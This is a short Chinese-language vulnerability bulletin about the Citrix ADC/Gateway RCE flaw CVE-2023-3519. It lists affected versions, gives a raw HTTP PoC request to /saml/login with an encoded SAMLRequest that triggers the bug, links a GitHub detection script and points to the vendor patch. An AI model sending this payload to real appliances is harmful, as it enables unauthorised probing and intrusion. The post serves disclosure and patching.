Citrix ADC 和 Citrix Gateway存在代码注入漏洞，该漏洞源于存在远程代码执行漏洞。
NetScaler ADC 、NetScaler Gateway 13.1 < 13.1-49.13NetScaler ADC 、NetScaler Gateway 13.0 < 13.0-91.13NetScaler ADC 13.1-FIPS < 13.1-37.159NetScaler ADC 12.1-FIPS < 12.1-55.297NetScaler ADC 12.1-NDcPP < 12.1-55.297
页面是这个酱紫
PoC：
POST /saml/login HTTP/1.1Host: ip:portConnection: closeContent-Length: 3150Content-Type: application/x-www-form-urlencodedSAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI+CiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8+CiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8+CiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U+CiAgICA8L2RzOlNpZ25lZEluZm8+CiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU+QTwvZHM6U2lnbmF0dXJlVmFsdWU+CiAgPC9kczpTaWduYXR1cmU+CiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4=
success！如下证明漏洞存在
GitHub脚本下载地址：https://github.com/synfinner/CitriDish
建议及时更新修复，补丁获取链接：https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467
原文始发于微信公众号（哪都通安全）：叮～你有新的速递！Citrix CVE-2023-3519 RCE漏洞（附PoC）
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